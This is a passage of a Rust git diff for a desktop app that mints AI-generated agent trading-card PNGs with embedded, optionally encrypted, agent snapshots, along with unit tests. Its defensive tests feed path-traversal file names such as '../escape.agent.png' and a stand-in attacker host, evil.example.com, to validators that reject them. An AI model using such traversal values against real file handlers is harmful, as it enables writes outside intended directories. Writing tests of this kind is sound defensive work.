lock_keys.is_some(), + &avatar_bytes, + record.avatar_url.as_deref(), + )?; + let snapshot = build_snapshot( + &record, + memory_level, + memory_entries, + manifest_avatar.as_deref(), + ); + + // ── One Responses API call ─────────────────────────────────────────────── + // For locked mints, prove the manifest (including any embedded memory) + // fits the NIP-44 plaintext cap BEFORE spending minutes on the API call + // (same fail-early rule as the memory guard above). + if lock_keys.is_some() { + let json_len = + crate::managed_agents::agent_snapshot::encode_snapshot_json(&snapshot)?.len(); + if json_len > buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX { + let hint = if memory_level == MemoryLevel::None { + "Reduce the avatar size or mint an unlocked card." + } else { + "Include less memory, reduce the avatar size, or mint an unlocked card." + }; + return Err(format!( + "Agent manifest is too large to lock ({json_len} bytes; the encrypted \ + format caps at {}). {hint}", + buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX + )); + } + } + let instructions = build_card_instructions( + &display_name, + snapshot.definition.system_prompt.as_deref().unwrap_or(""), + style_notes.as_deref().unwrap_or(""), + ); + let body = serde_json::json!({ + "model": DESIGNER_MODEL, + "reasoning": {"effort": "high"}, + "instructions": "You are a senior TCG card designer and MTG rules editor.", + "input": [{ + "role": "user", + "content": [ + {"type": "input_text", "text": instructions}, + {"type": "input_image", "image_url": image_data_url(CARD_TEMPLATE_PNG, 1024)?}, + {"type": "input_image", "image_url": image_data_url(&avatar_bytes, 1024)?}, + ], + }], + "tools": [{ + "type": "image_generation", + "model": IMAGE_MODEL, + "quality": "high", + "size": "1024x1536", + "output_format": "png", + }], + "tool_choice": "required", + }); + + let client = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(MINT_TIMEOUT_SECS)) + .build() + .map_err(|e| format!("Failed to build HTTP client: {e}"))?; + let resp = client + .post(responses_url(base_url)) + .bearer_auth(&api_key) + .json(&body) + .send() + .await + .map_err(|e| format!("Card mint request failed: {e}"))?; + + let status = resp.status(); + let payload: serde_json::Value = resp + .json() + .await + .map_err(|e| format!("Card mint response was not JSON: {e}"))?; + if !status.is_success() { + // Never echo the request (it embeds nothing secret, but keep the + // failure surface small); the OpenAI error body is safe to surface. + let detail = payload + .get("error") + .and_then(|e| e.get("message")) + .and_then(|m| m.as_str()) + .unwrap_or("unknown error"); + return Err(format!("Card mint failed (HTTP {status}): {detail}")); + } + + let (image_b64, designer_notes) = extract_card_output(&payload)?; + let raw_card = STANDARD + .decode(image_b64.as_bytes()) + .map_err(|e| format!("Generated image was not valid base64: {e}"))?; + + // ── Resize to 1500-wide, inject chunk via the existing encoder ────────── + let card_img = image::load_from_memory(&raw_card) + .map_err(|e| format!("Generated image could not be decoded: {e}"))?; + let scale = CARD_WIDTH as f64 / card_img.width() as f64; + let card_img = card_img.resize( + CARD_WIDTH, + (card_img.height() as f64 * scale).round() as u32, + image::imageops::FilterType::Lanczos3, + ); + let mut card_png = Vec::new(); + card_img + .write_to( + &mut std::io::Cursor::new(&mut card_png), + image::ImageFormat::Png, + ) + .map_err(|e| format!("Failed to encode card PNG: {e}"))?; + + let final_bytes = match &lock_keys { + None => encode_snapshot_png(&snapshot, Some(&card_png)) + .map_err(|e| format!("Failed to embed agent snapshot in card: {e}"))?, + Some((owner_keys, agent_pubkey)) => { + encode_locked_snapshot_png(&snapshot, owner_keys, agent_pubkey, Some(&card_png)) + .map_err(|e| format!("Failed to embed locked agent snapshot in card: {e}"))? + } + }; + + // ── Verify: size ceiling + round-trip on the FINAL bytes ──────────────── + // Locked cards: extract the actual chunk, parse the envelope, decrypt + // with the owner key, then compare the logical manifest (ciphertext is + // nondeterministic — never compare bytes). + validate_snapshot_encode_size(final_bytes.len(), true)?; + let decoded = match &lock_keys { + None => decode_snapshot_png(&final_bytes) + .map_err(|e| format!("Card failed round-trip verification: {e}"))?, + Some((owner_keys, _)) => { + let payload = extract_chunk_payload_png(&final_bytes) + .map_err(|e| format!("Card failed round-trip verification: {e}"))?; + match parse_chunk_payload(&payload) + .map_err(|e| format!("Card failed round-trip verification: {e}"))? + { + ChunkPayload::Locked(envelope) => { + decrypt_envelope(&envelope, owner_keys.secret_key()) + .map_err(|e| format!("Card failed round-trip verification: {e}"))? + } + ChunkPayload::Plain(_) => { + return Err( + "Card round-trip verification failed: expected a locked envelope." + .to_string(), + ) + } + } + } + }; + if decoded != snapshot { + return Err("Card round-trip verification failed: manifest mismatch.".to_string()); + } + + let slug = crate::util::slugify(&display_name, "agent", 50); + let minted = MintedCard { + card_png_base64: STANDARD.encode(&final_bytes), + file_name: format!("{slug}.agent.png"), + designer_notes, + locked: lock_keys.is_some(), + memory_level, + }; + + // Archive best-effort: the mint is already paid for and verified, so a + // failed archive write logs and continues — it never fails the mint. + if let Err(e) = archive_minted_card(&app, &id, &display_name, &minted, &final_bytes) { + eprintln!("buzz-desktop: card-archive: failed to archive minted card: {e}"); + } + + Ok(minted) +} + +/// The avatar the mint should use: the agent's kind:0 `picture` when one is +/// published and non-blank, else the local record's `avatar_url`. +/// +/// Pure so the precedence is unit-testable without a relay: a blank or +/// whitespace-only `picture` must NOT shadow a real record avatar. +fn preferred_avatar_url( + kind0_picture: Option, + record_avatar_url: Option, +) -> Option { + kind0_picture + .filter(|p| !p.trim().is_empty()) + .or(record_avatar_url) +} + +/// The avatar bytes the card manifest should inline. +/// +/// Unlocked cards must carry the agent's REAL avatar inline: the PNG body is +/// the generated card artwork, and the importer only adopts the body as the +/// avatar when the manifest carries no inline bytes (`import.rs`) — without +/// these bytes an imported agent would wear the card as its face. Downscaled +/// to [`MANIFEST_AVATAR_MAX_DIM`] so the manifest tEXt chunk stays small. +/// +/// Locked cards keep the data-URL-only behavior: the whole manifest must fit +/// the NIP-44 plaintext cap (65 KB), which cannot carry inline pixels, and a +/// locked envelope never reaches the import body override anyway. +fn manifest_avatar_bytes( + locked: bool, + avatar_bytes: &[u8], + record_avatar_url: Option<&str>, +) -> Result>, String> { + if locked { + return Ok(decode_avatar_data_url(record_avatar_url.unwrap_or(""))); + } + png_bytes_resized(avatar_bytes, MANIFEST_AVATAR_MAX_DIM) + .map(Some) + .map_err(|e| format!("Failed to inline the agent avatar into the card manifest: {e}")) +} + +/// True when `url` shares an origin (scheme, host, port) with `relay_base`. +/// +/// Gate for attaching the minted media get-auth header — the token must never +/// be sent to a non-relay origin (same contract as `validate_download_url` in +/// `media_download.rs`, but non-fatal: a foreign origin just fetches +/// unauthenticated instead of failing the mint). +fn is_same_origin(url: &str, relay_base: &str) -> bool { + match (url::Url::parse(url), url::Url::parse(relay_base)) { + (Ok(u), Ok(b)) => u.origin() == b.origin(), + _ => false, + } +} + +/// Fetch an avatar over HTTP with a hard size cap. +/// +/// `auth` is an optional pre-minted Blossom get-auth header value, attached +/// verbatim — the caller is responsible for only supplying it for +/// relay-origin URLs. Redirects are not followed when auth is present +/// (redirect-hop guard, same rule as `media_download.rs`). +/// +/// The cap bounds network and memory, not just the final buffer: the +/// Content-Length header is checked before any body bytes are read, and the +/// body is streamed with a running count so a missing or dishonest header +/// still cannot exceed the cap (same contract as `media_download.rs`). +async fn fetch_avatar(url: &str, auth: Option<&str>) -> Result, String> { + use futures_util::StreamExt; + + let mut builder = reqwest::Client::builder().timeout(std::time::Duration::from_secs(30)); + if auth.is_some() { + // Never let a relay 3xx forward the auth header across origins. + builder = builder.redirect(reqwest::redirect::Policy::none()); + } + let client = builder + .build() + .map_err(|e| format!("Failed to build HTTP client: {e}"))?; + let mut req = client.get(url); + if let Some(auth) = auth { + req = req.header("authorization", auth); + } + let resp = req + .send() + .await + .map_err(|e| format!("Failed to fetch agent avatar: {e}"))?; + if !resp.status().is_success() { + return Err(format!("Avatar fetch failed: HTTP {}", resp.status())); + } + + if let Some(content_length) = resp.content_length() { + if content_length > MAX_AVATAR_FETCH_BYTES as u64 { + return Err("Agent avatar is too large to use as card input.".to_string()); + } + } + + let mut bytes = Vec::new(); + let mut stream = resp.bytes_stream(); + while let Some(chunk) = stream.next().await { + let chunk = chunk.map_err(|e| format!("Failed to read avatar bytes: {e}"))?; + append_within_avatar_cap(&mut bytes, &chunk)?; + } + Ok(bytes) +} + +/// Append a body chunk to the avatar buffer, rejecting before the append if +/// the total would cross `MAX_AVATAR_FETCH_BYTES`. Split out so the cap +/// boundary is unit-testable without an HTTP server. +fn append_within_avatar_cap(buf: &mut Vec, chunk: &[u8]) -> Result<(), String> { + if buf.len() + chunk.len() > MAX_AVATAR_FETCH_BYTES { + return Err("Agent avatar is too large to use as card input.".to_string()); + } + buf.extend_from_slice(chunk); + Ok(()) +} + +/// Save previously minted card bytes to disk via the OS save dialog. +/// +/// Re-validates the bytes (chunk parses as a plain manifest or a +/// structurally valid locked envelope, size within the import ceiling) so a +/// corrupted preview can never be written as a `.agent.png`. No decryption +/// happens here — the mint already round-trip-verified with the real key. +#[tauri::command] +pub async fn save_agent_card( + card_png_base64: String, + file_name: String, + app: AppHandle, +) -> Result { + let bytes = STANDARD + .decode(card_png_base64.as_bytes()) + .map_err(|e| format!("Card bytes were not valid base64: {e}"))?; + validate_snapshot_encode_size(bytes.len(), true)?; + let payload = extract_chunk_payload_png(&bytes) + .map_err(|e| format!("Refusing to save: card failed snapshot validation: {e}"))?; + parse_chunk_payload(&payload) + .map_err(|e| format!("Refusing to save: card failed snapshot validation: {e}"))?; + + let safe_name = if file_name.ends_with(".agent.png") && !file_name.contains(['/', '\\']) { + file_name + } else { + "card.agent.png".to_string() + }; + save_bytes_with_dialog(&app, &safe_name, "Agent card", &["png"], &bytes).await +} + +// ── Tests ───────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests; diff --git a/desktop/src-tauri/src/commands/personas/card/tests.rs b/desktop/src-tauri/src/commands/personas/card/tests.rs new file mode 100644 index 0000000000..407ab44974 --- /dev/null +++ b/desktop/src-tauri/src/commands/personas/card/tests.rs @@ -0,0 +1,399 @@ +//! Unit tests for `card.rs` — split into a child module file so the parent +//! stays under the 1000-line gate (same layout as `snapshot/tests.rs`). + +use super::*; +use std::collections::BTreeMap; + +#[test] +fn archive_file_name_validation_rejects_escapes() { + assert!(validate_archive_file_name("eva-1234.agent.png").is_ok()); + for bad in [ + "../escape.agent.png", + "sub/dir.agent.png", + "sub\\dir.agent.png", + "not-a-card.png", + "plain.json", + "", + ] { + assert!( + validate_archive_file_name(bad).is_err(), + "expected rejection: {bad:?}" + ); + } +} + +#[test] +fn card_template_decodes_with_expected_shape() { + // The embedded template is generation input only, but a corrupt or + // accidentally swapped asset should fail the build's test gate, not a + // user's first mint. + let img = image::load_from_memory(CARD_TEMPLATE_PNG).expect("template must decode"); + // 2:3-ish portrait frame. + assert!(img.height() > img.width(), "template must be portrait"); + assert!(img.width() >= 512, "template unexpectedly small"); +} + +#[test] +fn key_resolution_layering_record_wins() { + let mut global = BTreeMap::new(); + global.insert("OPENAI_API_KEY".to_string(), "global".to_string()); + let mut persona = BTreeMap::new(); + persona.insert("OPENAI_API_KEY".to_string(), "persona".to_string()); + let mut record = BTreeMap::new(); + record.insert("OPENAI_API_KEY".to_string(), "record".to_string()); + + assert_eq!( + resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(), + Some("record") + ); + record.clear(); + assert_eq!( + resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(), + Some("persona") + ); + persona.clear(); + assert_eq!( + resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).as_deref(), + Some("global") + ); + global.clear(); + assert_eq!( + resolve_env_from_layers( + "OPENAI_API_KEY", + &global, + &persona, + &record, + Some("process".to_string()) + ) + .as_deref(), + Some("process") + ); + assert!(resolve_env_from_layers("OPENAI_API_KEY", &global, &persona, &record, None).is_none()); +} + +/// Prove that `resolve_key_layer` classifies layers in the same precedence +/// order that `mint_agent_card`/`resolve_env_from_layers` uses, so the dialog +/// update path is only offered when writing global will actually win. +#[test] +fn key_status_layer_matches_mint_resolution_priority() { + let key = "OPENAI_API_KEY"; + let mut global = BTreeMap::new(); + let mut persona = BTreeMap::new(); + let mut record = BTreeMap::new(); + + // No key anywhere → "none" + assert_eq!(resolve_key_layer(&global, &persona, &record, None), "none"); + + // Only global → "global" (the only writable layer) + global.insert(key.to_string(), "sk-global".to_string()); + assert_eq!( + resolve_key_layer(&global, &persona, &record, None), + "global" + ); + // mint resolution also picks global when record and persona are empty + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-global") + ); + + // Persona overrides global → status must report "persona", NOT "global" + persona.insert(key.to_string(), "sk-persona".to_string()); + assert_eq!( + resolve_key_layer(&global, &persona, &record, None), + "persona" + ); + // mint would use the persona key + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-persona") + ); + // Writing to global would NOT change what mint resolves — status correctly + // returns "persona" so the dialog shows a read-only redirect instead. + let mut global_updated = global.clone(); + global_updated.insert(key.to_string(), "sk-new-global".to_string()); + assert_eq!( + resolve_env_from_layers(key, &global_updated, &persona, &record, None).as_deref(), + Some("sk-persona"), + "writing global must not change resolution when persona key exists" + ); + + // Agent record overrides both → status must report "agent" + record.insert(key.to_string(), "sk-agent".to_string()); + assert_eq!(resolve_key_layer(&global, &persona, &record, None), "agent"); + assert_eq!( + resolve_env_from_layers(key, &global, &persona, &record, None).as_deref(), + Some("sk-agent") + ); + + // Process env is last resort (only when all map layers are empty) + let empty = BTreeMap::new(); + assert_eq!( + resolve_key_layer(&empty, &empty, &empty, Some("sk-process".to_string())), + "process" + ); + + // Blank values are skipped — process wins over a whitespace global + let mut blank_global = BTreeMap::new(); + blank_global.insert(key.to_string(), " ".to_string()); + assert_eq!( + resolve_key_layer( + &blank_global, + &empty, + &empty, + Some("sk-process".to_string()) + ), + "process" + ); +} + +#[test] +fn key_resolution_skips_blank_values() { + let mut record = BTreeMap::new(); + record.insert("OPENAI_API_KEY".to_string(), " ".to_string()); + let mut persona = BTreeMap::new(); + persona.insert("OPENAI_API_KEY".to_string(), "persona".to_string()); + assert_eq!( + resolve_env_from_layers("OPENAI_API_KEY", &BTreeMap::new(), &persona, &record, None) + .as_deref(), + Some("persona") + ); +} + +#[test] +fn responses_url_default_and_override() { + assert_eq!(responses_url(None), "https://api.openai.com/v1/responses"); + // Trailing slashes must not produce a double-slash path. + assert_eq!( + responses_url(Some("https://proxy.example/v1/".to_string())), + "https://proxy.example/v1/responses" + ); + assert_eq!( + responses_url(Some("https://proxy.example/v1".to_string())), + "https://proxy.example/v1/responses" + ); +} + +#[test] +fn instructions_pin_style_match_default_and_owner_primacy() { + let base = build_card_instructions("Eva", "leads the team", ""); + assert!(base.contains("match input image 2's art style EXACTLY")); + assert!(base.contains("\"Eva\"")); + assert!(!base.contains("OWNER'S DIRECTIONS")); + + let directed = build_card_instructions("Eva", "leads the team", "make it stormy"); + // Owner directions take primacy over style defaults... + assert!(directed.contains("OWNER'S DIRECTIONS")); + assert!(directed.contains("make it stormy")); + assert!(directed.contains("override the default art-style and copy guidance")); + // ...but the fixed contract survives: frame, style anchor (as an + // overridable default), and text-fidelity requirements stay present. + assert!(directed.contains("match input image 2's art style EXACTLY")); + assert!(directed.contains("cannot change the frame, layout, or")); + assert!(directed.contains("Render all text with perfect fidelity")); + // Card-text direction is an explicitly named capability, and the + // owner-wording rule acknowledges the fixed 220-char text-box limit + // (no mutually impossible "verbatim" vs "under 220 chars" pair). + assert!(directed.contains("card text")); + assert!(directed.contains("use their wording within the 220-character text-box limit")); +} + +#[test] +fn extract_card_output_happy_path_and_missing_image() { + let ok = serde_json::json!({ + "output": [ + {"type": "reasoning"}, + {"type": "image_generation_call", "result": "aW1n"}, + {"type": "message", "content": [ + {"type": "output_text", "text": "notes here"} + ]} + ] + }); + let (img, notes) = extract_card_output(&ok).unwrap(); + assert_eq!(img, "aW1n"); + assert_eq!(notes, "notes here"); + + let missing = serde_json::json!({"output": [{"type": "message", "content": []}]}); + let err = extract_card_output(&missing).unwrap_err(); + assert!(err.contains("No image"), "{err}"); + + let no_output = serde_json::json!({}); + assert!(extract_card_output(&no_output).is_err()); +} + +#[test] +fn kind0_picture_wins_over_record_avatar_unless_blank() { + let some = |s: &str| Some(s.to_string()); + // Published picture wins. + assert_eq!( + preferred_avatar_url(some("https://relay/media/k0.png"), some("data:image/png;x")), + some("https://relay/media/k0.png") + ); + // No profile / no picture: record avatar survives. + assert_eq!( + preferred_avatar_url(None, some("data:image/png;x")), + some("data:image/png;x") + ); + // Blank or whitespace picture must not shadow a real avatar. + assert_eq!( + preferred_avatar_url(some(""), some("data:image/png;x")), + some("data:image/png;x") + ); + assert_eq!( + preferred_avatar_url(some(" "), some("data:image/png;x")), + some("data:image/png;x") + ); + // Nothing anywhere: None (caller surfaces the "no avatar" error). + assert_eq!(preferred_avatar_url(None, None), None); +} + +#[test] +fn unlocked_manifest_inlines_real_avatar_bytes_downscaled() { + // 700px source (over MANIFEST_AVATAR_MAX_DIM) in a solid color. + let avatar = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel( + 700, + 700, + image::Rgba([9, 120, 33, 255]), + )); + let mut avatar_png = std::io::Cursor::new(Vec::new()); + avatar + .write_to(&mut avatar_png, image::ImageFormat::Png) + .unwrap(); + + let inlined = manifest_avatar_bytes(false, avatar_png.get_ref(), None) + .unwrap() + .expect("unlocked mints must inline the real avatar"); + let img = image::load_from_memory(&inlined).unwrap(); + assert_eq!( + (img.width(), img.height()), + (MANIFEST_AVATAR_MAX_DIM, MANIFEST_AVATAR_MAX_DIM) + ); + assert_eq!(img.to_rgba8().get_pixel(0, 0).0, [9, 120, 33, 255]); + + // Undecodable avatar bytes fail the mint (pre-spend), never silently + // produce a card whose import would wear the artwork as a face. + assert!(manifest_avatar_bytes(false, b"not a png", None).is_err()); +} + +#[test] +fn locked_manifest_keeps_data_url_only_avatar() { + // Locked mints must not inline fetched bytes (NIP-44 cap): only a record + // data URL carries over, exactly as before. + let unused = [0u8; 4]; + assert_eq!( + manifest_avatar_bytes(true, &unused, Some("data:image/png;base64,aGk=")) + .unwrap() + .as_deref(), + Some(b"hi".as_slice()) + ); + assert_eq!( + manifest_avatar_bytes(true, &unused, Some("https://relay/media/a.png")).unwrap(), + None + ); + assert_eq!(manifest_avatar_bytes(true, &unused, None).unwrap(), None); +} + +#[test] +fn media_get_auth_gate_is_same_origin_only() { + // The minted Blossom get-auth header may only travel to the relay's own + // origin — scheme, host, and port all count (same contract as + // `validate_download_url` in `media_download.rs`). + let relay = "https://relay.example.com"; + assert!(is_same_origin( + "https://relay.example.com/media/abc.png", + relay + )); + // Different host, scheme, or port: no auth. + assert!(!is_same_origin( + "https://evil.example.com/media/abc.png", + relay + )); + assert!(!is_same_origin( + "http://relay.example.com/media/abc.png", + relay + )); + assert!(!is_same_origin( + "https://relay.example.com:8443/media/abc.png", + relay + )); + // Unparseable inputs fail closed. + assert!(!is_same_origin("not a url", relay)); + assert!(!is_same_origin( + "https://relay.example.com/x", + "also not a url" + )); + // Explicit port on both sides matches. + assert!(is_same_origin( + "http://localhost:3100/media/abc.png", + "http://localhost:3100" + )); +} + +#[test] +fn avatar_cap_rejects_before_appending_crossing_chunk() { + // The streaming accumulator must reject a chunk that would cross the + // cap BEFORE buffering it — this is what bounds memory when + // Content-Length is missing or dishonest. + let mut buf = vec![0u8; MAX_AVATAR_FETCH_BYTES - 1]; + assert!(append_within_avatar_cap(&mut buf, &[0u8]).is_ok()); + assert_eq!(buf.len(), MAX_AVATAR_FETCH_BYTES); + // Exactly at the cap: one more byte must fail and not grow the buffer. + assert!(append_within_avatar_cap(&mut buf, &[0u8]).is_err()); + assert_eq!(buf.len(), MAX_AVATAR_FETCH_BYTES); + + // A single oversized chunk is rejected outright. + let mut fresh = Vec::new(); + let oversized = vec![0u8; MAX_AVATAR_FETCH_BYTES + 1]; + assert!(append_within_avatar_cap(&mut fresh, &oversized).is_err()); + assert!(fresh.is_empty()); +} + +#[test] +fn save_rejects_plain_png_without_snapshot_chunk() { + // A plain PNG (no buzz_agent_snapshot chunk) must not be saveable as + // a card. Exercise the same validation the command runs. + let img = image::DynamicImage::new_rgba8(4, 4); + let mut png = Vec::new(); + img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) + .unwrap(); + assert!(decode_snapshot_png(&png).is_err()); +} + +#[test] +fn archived_sidecar_without_memory_level_defaults_to_none() { + // Every mint before the memory option existed embedded MemoryLevel::None + // structurally, so old sidecars (no memoryLevel field) must deserialize + // to None — the gallery's disclosure depends on this being honest. + let legacy = r#"{ + "storedFileName": "eva-1234.agent.png", + "fileName": "eva.agent.png", + "agentId": "abc", + "agentName": "Eva", + "designerNotes": "", + "locked": false, + "mintedAt": "2026-07-28T00:00:00Z" + }"#; + let meta: ArchivedCardMeta = serde_json::from_str(legacy).unwrap(); + assert_eq!(meta.memory_level, MemoryLevel::None); + + let with_level = legacy.replace( + "\"locked\": false,", + "\"locked\": false, \"memoryLevel\": \"everything\",", + ); + let meta: ArchivedCardMeta = serde_json::from_str(&with_level).unwrap(); + assert_eq!(meta.memory_level, MemoryLevel::Everything); +} + +#[test] +fn minted_card_serializes_memory_level_snake_case_value() { + // The TS layer narrows on the exact wire strings "none"/"core"/ + // "everything" — pin the serde representation the frontend will see. + let minted = MintedCard { + card_png_base64: String::new(), + file_name: "eva.agent.png".to_string(), + designer_notes: String::new(), + locked: false, + memory_level: MemoryLevel::Core, + }; + let json = serde_json::to_value(&minted).unwrap(); + assert_eq!(json["memoryLevel"], "core"); +} diff --git a/desktop/src-tauri/src/commands/personas/mod.rs b/desktop/src-tauri/src/commands/personas/mod.rs index 66f7296a25..0cd7ad0324 100644 --- a/desktop/src-tauri/src/commands/personas/mod.rs +++ b/desktop/src-tauri/src/commands/personas/mod.rs @@ -306,11 +306,14 @@ pub async fn set_persona_active( } pub(crate) const PNG_MAGIC: [u8; 4] = [0x89, 0x50, 0x4E, 0x47]; +mod card; mod snapshot; -pub use snapshot::encode_agent_snapshot_for_send; -pub use snapshot::export_agent_snapshot; +pub use card::*; +#[cfg(test)] +pub(crate) use snapshot::import::decode_snapshot_from_bytes; pub(crate) use snapshot::import::{ - decode_snapshot_from_bytes, resolve_snapshot_import_behavior, MAX_SNAPSHOT_JSON_BYTES, + parse_snapshot_payload_from_bytes, resolve_snapshot_import_behavior, MAX_SNAPSHOT_JSON_BYTES, MAX_SNAPSHOT_PNG_BYTES, }; pub use snapshot::{confirm_agent_snapshot_import, preview_agent_snapshot_import}; +pub use snapshot::{encode_agent_snapshot_for_send, export_agent_snapshot}; diff --git a/desktop/src-tauri/src/commands/personas/snapshot.rs b/desktop/src-tauri/src/commands/personas/snapshot.rs index 583296dac0..e7bd1597e6 100644 --- a/desktop/src-tauri/src/commands/personas/snapshot.rs +++ b/desktop/src-tauri/src/commands/personas/snapshot.rs @@ -142,7 +142,7 @@ pub(crate) fn validate_snapshot_encode_size(bytes_len: usize, is_png: bool) -> R } /// Parse a `memory_level` string to `MemoryLevel`. -fn parse_memory_level(s: &str) -> Result { +pub(crate) fn parse_memory_level(s: &str) -> Result { match s { "none" | "" => Ok(MemoryLevel::None), "core" => Ok(MemoryLevel::Core), @@ -153,6 +153,32 @@ fn parse_memory_level(s: &str) -> Result { } } +/// Flatten an owner-decrypted memory listing into manifest entries for +/// `memory_level`: `Core` takes the core entry only; `Everything` appends all +/// `mem/*` entries after it. Pure so both the export and card-mint paths share +/// (and tests can pin) the level → entries selection. +pub(crate) fn memory_entries_from_listing( + listing: crate::commands::engrams::AgentMemoryListing, + memory_level: MemoryLevel, +) -> Vec { + let mut entries = Vec::new(); + if let Some(core) = listing.core { + entries.push(AgentSnapshotMemoryEntry { + slug: core.slug, + body: core.body, + }); + } + if memory_level == MemoryLevel::Everything { + for mem in listing.memories { + entries.push(AgentSnapshotMemoryEntry { + slug: mem.slug, + body: mem.body, + }); + } + } + entries +} + /// Parse a `format` string to a PNG flag. fn parse_format_is_png(s: &str) -> Result { match s { @@ -267,22 +293,7 @@ pub(crate) async fn materialize_snapshot_bytes( // ── Fetch memory ───────────────────────────────────────────────────────── let memory_entries: Vec = if let Some(pubkey) = memory_pubkey { let listing = get_agent_memory(pubkey, app.clone(), state).await?; - let mut entries = Vec::new(); - if let Some(core) = listing.core { - entries.push(AgentSnapshotMemoryEntry { - slug: core.slug, - body: core.body, - }); - } - if memory_level == MemoryLevel::Everything { - for mem in listing.memories { - entries.push(AgentSnapshotMemoryEntry { - slug: mem.slug, - body: mem.body, - }); - } - } - entries + memory_entries_from_listing(listing, memory_level) } else { Vec::new() }; diff --git a/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs b/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs index 00a1457393..b769d74d7b 100644 --- a/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs +++ b/desktop/src-tauri/src/commands/personas/snapshot/fidelity_tests.rs @@ -208,3 +208,64 @@ fn import_png_placeholder_keeps_manifest_avatar_fallback() { assert!(decoded.profile.avatar_data_url.is_none()); assert_eq!(decoded.profile.avatar_url, snapshot.profile.avatar_url); } + +/// An unlocked trading card imports the agent's REAL avatar, never the card. +/// +/// Mint-shaped input: the PNG body is the generated card artwork, while the +/// manifest inlines the source avatar (`manifest_avatar_bytes` in `card.rs`). +/// The #3578 body-wins override must not fire when the manifest already +/// carries inline avatar bytes — otherwise the imported agent publishes the +/// 1500-wide card as its kind:0 picture. +#[test] +fn import_unlocked_card_uses_manifest_avatar_not_card_artwork() { + use crate::managed_agents::agent_snapshot::{decode_avatar_data_url, encode_snapshot_png}; + use base64::{engine::general_purpose::STANDARD, Engine as _}; + + // The real avatar: 4×3 solid blue, inlined in the manifest at mint time. + let real_avatar = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel( + 4, + 3, + image::Rgba([23, 91, 177, 255]), + )); + let mut real_avatar_png = std::io::Cursor::new(Vec::new()); + real_avatar + .write_to(&mut real_avatar_png, image::ImageFormat::Png) + .unwrap(); + + let mut snapshot = make_snapshot(MemoryLevel::None, vec![]); + snapshot.profile.avatar_data_url = Some(format!( + "data:image/png;base64,{}", + STANDARD.encode(real_avatar_png.get_ref()) + )); + snapshot.profile.avatar_url = Some("https://relay.example/media/live-kind0.png".to_string()); + + // The card artwork: a distinct 1500×2250 solid red "trading card" as the + // PNG body — the exact dimensions the minter encodes for unlocked cards. + // Size matters: 2250px exceeds `snapshot_avatar`'s 2048px decode limit, + // so reaching the body override here wouldn't just import the wrong + // face — it would fail the import outright. + let card_art = image::DynamicImage::ImageRgba8(image::RgbaImage::from_pixel( + 1500, + 2250, + image::Rgba([200, 16, 16, 255]), + )); + let mut card_png = std::io::Cursor::new(Vec::new()); + card_art + .write_to(&mut card_png, image::ImageFormat::Png) + .unwrap(); + let file_bytes = encode_snapshot_png(&snapshot, Some(card_png.get_ref())).unwrap(); + + // Production import decode: the effective avatar must be the real one. + let decoded = decode_snapshot_from_bytes(&file_bytes).unwrap(); + let avatar_bytes = + decode_avatar_data_url(decoded.profile.avatar_data_url.as_deref().unwrap()).unwrap(); + let imported = image::load_from_memory(&avatar_bytes).unwrap(); + assert_eq!( + (imported.width(), imported.height()), + (4, 3), + "imported avatar must be the source avatar, not the card artwork" + ); + assert_eq!(imported.to_rgba8().get_pixel(0, 0).0, [23, 91, 177, 255]); + // The live kind:0 URL fallback survives untouched. + assert_eq!(decoded.profile.avatar_url, snapshot.profile.avatar_url); +} diff --git a/desktop/src-tauri/src/commands/personas/snapshot/import.rs b/desktop/src-tauri/src/commands/personas/snapshot/import.rs index eccf8ee601..d7f0323304 100644 --- a/desktop/src-tauri/src/commands/personas/snapshot/import.rs +++ b/desktop/src-tauri/src/commands/personas/snapshot/import.rs @@ -13,7 +13,11 @@ use tauri::{AppHandle, Emitter, State}; use crate::{ app_state::AppState, managed_agents::{ - agent_snapshot::{decode_snapshot_json, decode_snapshot_png, AgentSnapshot, MemoryLevel}, + agent_snapshot::{extract_chunk_payload_png, AgentSnapshot, MemoryLevel}, + agent_snapshot_envelope::{ + decrypt_envelope, parse_chunk_payload, resolve_unlock_secret, ChunkPayload, + LOCKED_CARD_REFUSAL, + }, load_managed_agents, load_personas, save_managed_agents, save_personas, AgentDefinition, ManagedAgentRecord, RespondTo, }, @@ -72,6 +76,16 @@ pub struct AgentSnapshotImportPreview { pub has_source_allowlist: bool, /// Number of source allowlist entries. pub source_allowlist_count: usize, + /// Full source allowlist entries, surfaced before import so hidden access + /// configuration is never reduced to a count. + pub source_allowlist: Vec, + /// Pretty-printed, validated manifest exactly as decoded from the file. + /// The UI makes this available before confirmation for full payload review. + pub manifest_json: String, + /// True when the snapshot came from a locked (encrypted) card that this + /// machine successfully unlocked. Cards that cannot be unlocked never + /// reach a preview — they fail closed with the locked-card refusal. + pub locked: bool, } /// The confirmation request sent from the UI after the user reviews the preview. @@ -210,50 +224,112 @@ const PNG_MAGIC: [u8; 4] = [0x89, 0x50, 0x4e, 0x47]; /// /// **Size cap:** PNG inputs over 10 MiB and JSON inputs over 5 MiB are rejected /// before allocation to avoid avoidable large-input work. -pub(crate) fn decode_snapshot_from_bytes( - file_bytes: &[u8], -) -> Result { - if file_bytes.len() >= 4 && file_bytes[..4] == PNG_MAGIC { +/// +/// **Locked cards:** a structurally valid locked envelope parses successfully +/// as `ChunkPayload::Locked` — no decryption happens here. Callers that can +/// unlock go through [`decode_snapshot_for_import`]; callers that only need +/// transit validation (e.g. `fetch_snapshot_bytes`) accept `Locked` as-is. +pub(crate) fn parse_snapshot_payload_from_bytes(file_bytes: &[u8]) -> Result { + let payload: ChunkPayload = if file_bytes.len() >= 4 && file_bytes[..4] == PNG_MAGIC { if file_bytes.len() > MAX_SNAPSHOT_PNG_BYTES { return Err(format!( 